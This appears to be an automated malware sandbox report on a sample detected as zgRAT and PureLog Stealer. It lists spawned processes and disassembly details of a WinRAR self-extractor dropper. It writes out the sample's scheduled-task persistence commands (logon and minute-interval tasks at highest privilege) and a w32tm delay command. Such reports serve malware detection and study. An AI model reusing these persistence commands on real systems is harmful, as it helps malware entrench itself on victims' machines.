Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 7 /tr "'C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 6 /tr "'C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "bridgeServerFontSavesMonitorb" /sc MINUTE /mo 9 /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:42:17
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "bridgeServerFontSavesMonitor" /sc ONLOGON /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:42:17
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "bridgeServerFontSavesMonitorb" /sc MINUTE /mo 7 /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:42:17
Start date:	09/01/2025
Path:	C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe
Imagebase:	0x360000
File size:	14'385'664 bytes
MD5 hash:	39953ACD4FD32884E6CAD0D1E4688051
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:42:17
Start date:	09/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FeErzF7oGb.bat"
Imagebase:	0x7ff6aa700000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:42:17
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	23:42:17
Start date:	09/01/2025
Path:	C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe
Imagebase:	0x8f0000
File size:	14'385'664 bytes
MD5 hash:	39953ACD4FD32884E6CAD0D1E4688051
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	23:42:17
Start date:	09/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff7c4ae0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:42:17
Start date:	09/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff7c55f0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	23:42:19
Start date:	09/01/2025
Path:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
Wow64 process (32bit):	false
Commandline:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
Imagebase:	0x8c0000
File size:	14'385'664 bytes
MD5 hash:	39953ACD4FD32884E6CAD0D1E4688051
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	23:42:19
Start date:	09/01/2025
Path:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
Wow64 process (32bit):	false
Commandline:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
Imagebase:	0x430000
File size:	14'385'664 bytes
MD5 hash:	39953ACD4FD32884E6CAD0D1E4688051
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	23:42:22
Start date:	09/01/2025
Path:	C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe"
Imagebase:	0xdc0000
File size:	14'385'664 bytes
MD5 hash:	39953ACD4FD32884E6CAD0D1E4688051
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs Detection: 60%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	23:42:27
Start date:	09/01/2025
Path:	C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
Imagebase:	0xe80000
File size:	14'385'664 bytes
MD5 hash:	39953ACD4FD32884E6CAD0D1E4688051
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	23:42:44
Start date:	09/01/2025
Path:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
Wow64 process (32bit):	false
Commandline:	"C:\ChainBroker\bridgeServerFontSavesMonitor.exe"
Imagebase:	0xb0000
File size:	14'385'664 bytes
MD5 hash:	39953ACD4FD32884E6CAD0D1E4688051
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	23:42:52
Start date:	09/01/2025
Path:	C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe"
Imagebase:	0x10000
File size:	14'385'664 bytes
MD5 hash:	39953ACD4FD32884E6CAD0D1E4688051
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.3%
Total number of Nodes:	1515
Total number of Limit Nodes:	43

Executed Functions

Function 00BEDF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BE0863: GetModuleHandleW.KERNEL32(kernel32), ref: 00BE087C
Part of subcall function 00BE0863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00BE088E
Part of subcall function 00BE0863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00BE08BF

Part of subcall function 00BEA64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00BEA655

Part of subcall function 00BEAC16: OleInitialize.OLE32(00000000), ref: 00BEAC2F
Part of subcall function 00BEAC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00BEAC66
Part of subcall function 00BEAC16: SHGetMalloc.SHELL32(00C18438), ref: 00BEAC70

GetCommandLineW.KERNEL32 ref: 00BEDF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00BEDF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00BEDF94
UnmapViewOfFile.KERNEL32(00000000), ref: 00BEDFCE

Part of subcall function 00BEDBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00BEDBF4
Part of subcall function 00BEDBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00BEDC30

CloseHandle.KERNEL32(00000000), ref: 00BEDFD7
GetModuleFileNameW.KERNEL32(00000000,00C2EC90,00000800), ref: 00BEDFF2
SetEnvironmentVariableW.KERNEL32(sfxname,00C2EC90), ref: 00BEDFFE
GetLocalTime.KERNEL32(?), ref: 00BEE009
_swprintf.LIBCMT ref: 00BEE048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00BEE05A
GetModuleHandleW.KERNEL32(00000000), ref: 00BEE061
LoadIconW.USER32(00000000,00000064), ref: 00BEE078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 00BEE0C9
Sleep.KERNEL32(?), ref: 00BEE0F7
DeleteObject.GDI32 ref: 00BEE130
DeleteObject.GDI32(?), ref: 00BEE140
CloseHandle.KERNEL32 ref: 00BEE183

Strings

sfxstime, xrefs: 00BEE055
C:\Users\user\Desktop, xrefs: 00BEDF33
sfxname, xrefs: 00BEDFF9
winrarsfxmappingfile.tmp, xrefs: 00BEDF77
STARTDLG, xrefs: 00BEE0BE
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00BEE039

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-3743209390
Opcode ID: 334908777a999bde1ba205a895a72fe8edf8644f7f4a8cf6937a552da4073856
Instruction ID: 14307a033685ab4190f9ad354ab210b27b2d4a1de0e311242aacbe68dfa36558
Opcode Fuzzy Hash: 334908777a999bde1ba205a895a72fe8edf8644f7f4a8cf6937a552da4073856
Instruction Fuzzy Hash: 9561F5719083C5AFD320AB76EC89F6F77ECEB49704F040469F945A2291DB78D944C7A2

Function 00BEA6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00BEB73D,00000066), ref: 00BEA6D5
SizeofResource.KERNEL32(00000000,?,?,?,00BEB73D,00000066), ref: 00BEA6EC
LoadResource.KERNEL32(00000000,?,?,?,00BEB73D,00000066), ref: 00BEA703
LockResource.KERNEL32(00000000,?,?,?,00BEB73D,00000066), ref: 00BEA712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00BEB73D,00000066), ref: 00BEA72D
GlobalLock.KERNEL32(00000000), ref: 00BEA73E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00BEA762
GlobalUnlock.KERNEL32(00000000), ref: 00BEA7C6

Part of subcall function 00BEA626: GdipAlloc.GDIPLUS(00000010), ref: 00BEA62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00BEA7A7
GlobalFree.KERNEL32(00000000), ref: 00BEA7CD

Strings

PNG, xrefs: 00BEA6C6

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 8ad2f997b718637d6b8979f3da2afa7ce4ee58d174c667ca14c59dfbbc784740
Instruction ID: fc31025ad47de5ce9f2171f3f36f7a073c3dc4f32535f6cd4f9ad3593652619c
Opcode Fuzzy Hash: 8ad2f997b718637d6b8979f3da2afa7ce4ee58d174c667ca14c59dfbbc784740
Instruction Fuzzy Hash: 04316D75601382AFD7109F22EC88F2F7BFDEF89750B050559F90582661EB31ED44CAA1

Function 00BDA69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00BDA592,000000FF,?,?), ref: 00BDA6C4

Part of subcall function 00BDBB03: _wcslen.LIBCMT ref: 00BDBB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00BDA592,000000FF,?,?), ref: 00BDA6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00BDA592,000000FF,?,?), ref: 00BDA6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,00BDA592,000000FF,?,?), ref: 00BDA728
GetLastError.KERNEL32(?,?,?,?,00BDA592,000000FF,?,?), ref: 00BDA734

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 45d2895305d0e3fae8e3ce39250134c795d07eb781265f3abb47ce9ec50164e5
Instruction ID: aae56e00dc0a37d37999bc6bdfdb02a759d4ed4b8b1670a00b0d16f43bb92ea1
Opcode Fuzzy Hash: 45d2895305d0e3fae8e3ce39250134c795d07eb781265f3abb47ce9ec50164e5
Instruction Fuzzy Hash: CF416C72901555ABCB25DF68CC88BEAF7F8FB48350F104196E969E3200E734AE94CF91

Function 00BF7DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00BF7DC4,00000000,00C0C300,0000000C,00BF7F1B,00000000,00000002,00000000), ref: 00BF7E0F
TerminateProcess.KERNEL32(00000000,?,00BF7DC4,00000000,00C0C300,0000000C,00BF7F1B,00000000,00000002,00000000), ref: 00BF7E16
ExitProcess.KERNEL32 ref: 00BF7E28

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1336b20996d806a632429f0e0ab2f731c02d2a7929e02b0c4dc080c3f5890fa8
Instruction ID: 82a93a17879b5aa00587779936ca22b09fcb7fe7875c4e40c711ca17fad5e5f2
Opcode Fuzzy Hash: 1336b20996d806a632429f0e0ab2f731c02d2a7929e02b0c4dc080c3f5890fa8
Instruction Fuzzy Hash: A4E04631040188ABCF016F20CD09B6E3FAEEB10341F1144D5FA198B132CF36DE56CA80

Function 00BD848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD8493

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 366a6af435ed4170294c8ce2ea0f3b46b3ff73857631a802f914af9c6c6752ab
Instruction ID: ba5167b95f46cae4fa3fbc2b8a07417cf8122e20e0fa51f398e941dec8200413
Opcode Fuzzy Hash: 366a6af435ed4170294c8ce2ea0f3b46b3ff73857631a802f914af9c6c6752ab
Instruction Fuzzy Hash: 8282C770904285AEDF15DB64C895BFAFBE9EF15301F0845FBD8499B382EB315A84CB60

Function 00BEB7E0 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BEB7E5

Part of subcall function 00BD1316: GetDlgItem.USER32(00000000,00003021), ref: 00BD135A
Part of subcall function 00BD1316: SetWindowTextW.USER32(00000000,00C035F4), ref: 00BD1370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BEB8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BEB8EF
IsDialogMessageW.USER32(?,?), ref: 00BEB902
TranslateMessage.USER32(?), ref: 00BEB910
DispatchMessageW.USER32(?), ref: 00BEB91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00BEB93D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 00BEB960
GetDlgItem.USER32(?,00000068), ref: 00BEB983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00BEB99E
SendMessageW.USER32(00000000,000000C2,00000000,00C035F4), ref: 00BEB9B1

Part of subcall function 00BED453: _wcslen.LIBCMT ref: 00BED47D

SetFocus.USER32(00000000), ref: 00BEB9B8
_swprintf.LIBCMT ref: 00BEBA24

Part of subcall function 00BD4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD40A5

Part of subcall function 00BED4D4: GetDlgItem.USER32(00000068,00C2FCB8), ref: 00BED4E8
Part of subcall function 00BED4D4: ShowWindow.USER32(00000000,00000005,?,?,?,00BEAF07,00000001,?,?,00BEB7B9,00C0506C,00C2FCB8,00C2FCB8,00001000,00000000,00000000), ref: 00BED510
Part of subcall function 00BED4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00BED51B
Part of subcall function 00BED4D4: SendMessageW.USER32(00000000,000000C2,00000000,00C035F4), ref: 00BED529
Part of subcall function 00BED4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BED53F
Part of subcall function 00BED4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00BED559
Part of subcall function 00BED4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BED59D
Part of subcall function 00BED4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00BED5AB
Part of subcall function 00BED4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BED5BA
Part of subcall function 00BED4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BED5E1
Part of subcall function 00BED4D4: SendMessageW.USER32(00000000,000000C2,00000000,00C043F4), ref: 00BED5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00BEBA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00BEBA90
GetTickCount.KERNEL32 ref: 00BEBAAE
_swprintf.LIBCMT ref: 00BEBAC2
GetLastError.KERNEL32(?,00000011), ref: 00BEBAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00BEBB43
_swprintf.LIBCMT ref: 00BEBB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 00BEBBD0
GetCommandLineW.KERNEL32 ref: 00BEBBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 00BEBC47
ShellExecuteExW.SHELL32(0000003C), ref: 00BEBC6F
Sleep.KERNEL32(00000064), ref: 00BEBCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 00BEBCE2
CloseHandle.KERNEL32(00000000), ref: 00BEBCEB
_swprintf.LIBCMT ref: 00BEBD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BEBD7D
SetDlgItemTextW.USER32(?,00000065,00C035F4), ref: 00BEBD94
GetDlgItem.USER32(?,00000065), ref: 00BEBD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 00BEBDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00BEBDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BEBE68
_wcslen.LIBCMT ref: 00BEBEBE
_swprintf.LIBCMT ref: 00BEBEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 00BEBF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00BEBF4C
GetDlgItem.USER32(?,00000068), ref: 00BEBF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00BEBF6B
GetDlgItem.USER32(?,00000066), ref: 00BEBF85
SetWindowTextW.USER32(00000000,00C1A472), ref: 00BEBFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00BEC007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BEC01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 00BEC0BD
EnableWindow.USER32(00000000,00000000), ref: 00BEC197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00BEC1D9

Part of subcall function 00BEC73F: __EH_prolog.LIBCMT ref: 00BEC744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BEC1FD

Strings

@, xrefs: 00BEBB91
C:\Users\user\Desktop, xrefs: 00BEBBC9
"%s"%s, xrefs: 00BEBD0D
%s, xrefs: 00BEBED8
<, xrefs: 00BEBB84
winrarsfxmappingfile.tmp, xrefs: 00BEBBA6
__tmp_rar_sfx_access_check_%u, xrefs: 00BEBAB5
STARTDLG, xrefs: 00BEB801
LICENSEDLG, xrefs: 00BEC0B2
-el -s2 "-d%s" "-sp%s", xrefs: 00BEBB6B

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l
